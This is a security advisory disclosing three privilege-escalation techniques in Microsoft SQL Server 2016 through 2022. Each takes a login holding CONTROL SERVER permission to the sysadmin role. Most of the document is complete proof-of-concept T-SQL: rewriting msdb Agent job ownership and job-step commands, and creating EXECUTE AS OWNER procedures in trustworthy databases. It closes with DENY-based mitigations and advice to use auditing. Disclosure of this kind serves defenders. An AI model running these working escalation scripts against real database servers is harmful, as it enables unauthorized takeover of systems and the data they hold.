Title: Microsoft SQL Server Privilege Escalation from Control Server To Sysadmin role Product: Microsoft SQL Server Affected Version(s): sql server 2016,2017,2019,2022 Risk Level: Medium Author of Advisory: Emad Al-Mousa Overview: Privilege escalation is one of the most common exploit techniques hackers use to abuse and take over critical systems, database systems are very important to be protected against such attacks. ***************************************** Exploit Summary Details: 3 novel techniques exploits can be used to abuse control server permission in SQL Server to escalate/elevate to SYSADMIN role. control server permission is powerful permission yet not at the same level of SYSADMIN role. ***************************************** Proof of Concept (PoC): Exploit Technique 1: Direct Modification into MSDB database tables As an account with CONTROL SERVER ROLE….you can add the login as database user at MSDB level but can’t grant any database role directly to it: USE [msdb] GO CREATE USER [rico] FOR LOGIN [rico] GO After database user account creation successfully completed, I will try to add it to db_owner role: USE [msdb] GO ALTER ROLE [db_owner] ADD MEMBER [rico] GO The following error will be thrown: Msg 15151, Level 16, State 1, Line 3 Cannot alter the role ‘db_owner’, because it does not exist or you do not have permission. However I still can elevate to SYSADMIN Role through direct system tables modification in MSDB database: For the sake of a proof of concept I will create a dummy job in SQL Server Instance and call it “Test” using the below code: USE [msdb] GO BEGIN TRANSACTION DECLARE @ReturnCode INT SELECT @ReturnCode = 0 IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]’ AND category_class=1) BEGIN EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N’JOB’, @type=N’LOCAL’, @name=N'[Uncategorized (Local)]’ IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback END DECLARE @jobId BINARY(16) EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N’Test’, @enabled=1, @notify_level_eventlog=0, @notify_level_email=0, @notify_level_netsend=0, @notify_level_page=0, @delete_level=0, @description=N’No description available.’, @category_name=N'[Uncategorized (Local)]’, @owner_login_name=N’sa’, @job_id = @jobId OUTPUT IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N’elevate_me’, @step_id=1, @cmdexec_success_code=0, @on_success_action=1, @on_success_step_id=0, @on_fail_action=2, @on_fail_step_id=0, @retry_attempts=0, @retry_interval=0, @os_run_priority=0, @subsystem=N’TSQL’, @command=N’XXXXXXXXXXXXXXXXXXXXXX’, @database_name=N’master’, @flags=0 IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1 IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback EXEC @ReturnCode = msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=N’run’, @enabled=1, @freq_type=4, @freq_interval=1, @freq_subday_type=2, @freq_subday_interval=10, @freq_relative_interval=0, @freq_recurrence_factor=0, @active_start_date=20231015, @active_end_date=99991231, @active_start_time=0, @active_end_time=235959, @schedule_uid=N’6986b644-3356-4750-a140-00193274d23d’ IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)’ IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback COMMIT TRANSACTION GOTO EndSave QuitWithRollback: IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION EndSave: GO // I will be able to query the list of Jobs select * from [msdb].[dbo].[sysjobs]; //I will change the ownership of the job Test to be “sa” account using the below update statement update [msdb].[dbo].[sysjobs] set owner_sid=0x01 where name='Test'; // I will retrieve information about job Test using job_id value SELECT * FROM [msdb].[dbo].[sysjobsteps] where job_id=’A4592896-4688-4DCC-B63E-813BE71A7EDD’; // I will update the code of the job step to elevate/escalate permission update [msdb].[dbo].[sysjobsteps] set command='ALTER SERVER ROLE [sysadmin] ADD MEMBER [rico] ' where job_id='29027CCB-EA4E-4ADA-B175-F2BF534FE30E'; And that’s it….account “rico” will be escalated to SYSADMIN role in the next scheduled time for the job “Test”. Exploit Technique 2: Code Injection In MSDB database to exploit trustworthy property USE [msdb] GO CREATE USER [rico] FOR LOGIN [rico] GO USE [msdb] GO create or alter procedure dbo.elevate_me with execute as owner as alter server role sysadmin add member rico; GO USE [msdb] GO exec dbo.elevate_me; And that’s it[refresh your connection]…database login rico is now elevated from CONTROL SERVER to SYSADMIN role. Exploit Technique 3: DB Creation with Trustworthy Property As login rico I will create a database and set trustworthy of the database to “on” and add the login as database user to escalate to sysadmin role as it will be presented here: create database TEST55; ALTER DATABASE TEST55 SET TRUSTWORTHY ON; USE [TEST55] GO ALTER AUTHORIZATION ON DATABASE::[TEST55] TO [sa] GO USE [TEST55] GO CREATE USER [rico] FOR LOGIN [rico] GO USE [TEST55] GO create or alter procedure dbo.elevate_me with execute as owner as alter server role sysadmin add member rico; GO USE [TEST55] GO exec dbo.elevate_me; And that’s it…database login rico is now elevated from CONTROL SERVER to SYSADMIN role. ******************************************************************************************************************************** Can these exploits be blocked if there is a need to have an account with control server permission and restrict it from being abused for privilege escalation ? Answer: Yes. Exploit techniques 2 and 3 can be blocked if the following permissions were “denied” from the login with CONTROL SERVER securable. use [master] GO DENY ALTER ANY DATABASE TO [rico] GO use [master] GO DENY CREATE ANY DATABASE TO [rico] GO use [master] GO DENY IMPERSONATE ANY LOGIN TO [rico] GO Exploit technique 1 can be blocked when denying it permissions at MSDB database user level: USE [msdb] GO CREATE USER [rico] FOR LOGIN [rico] GO use [msdb] GO DENY ALTER TO [rico] GO use [msdb] GO DENY DELETE TO [rico] GO use [msdb] GO DENY EXECUTE TO [rico] GO use [msdb] GO DENY INSERT TO [rico] GO use [msdb] GO DENY UPDATE TO [rico] GO Conclusions: - Control server is powerful securable but not at the same level of sysadmin role [ can’t execute certain procedures, can’t execute DBCC commands, and can’t view or have direct interface with agent jobs]. - The presented exploits shows weaknesses that should be prevented in the first place. The idea of having/granting a securable to a sql server login and this login can easily escalate to “SYSADMIN” role is not acceptable from security design perspective and is a big security hole that requires serious review. Any database role should be confined with limited scope of power so attackers can’t abuse it. - Auditing is always the best approach to detect privilege escalation attacks. ***************************************** References: https://databasesecurityninja.wordpress.com/2025/02/07/privilege-escalation-from-control-server-to-sysadmin-role/ https://learn.microsoft.com/en-us/sql/ssms/agent/implement-sql-server-agent-security?view=sql-server-ver16 https://learn.microsoft.com/en-us/sql/relational-databases/security/trustworthy-database-property?view=sql-server-ver16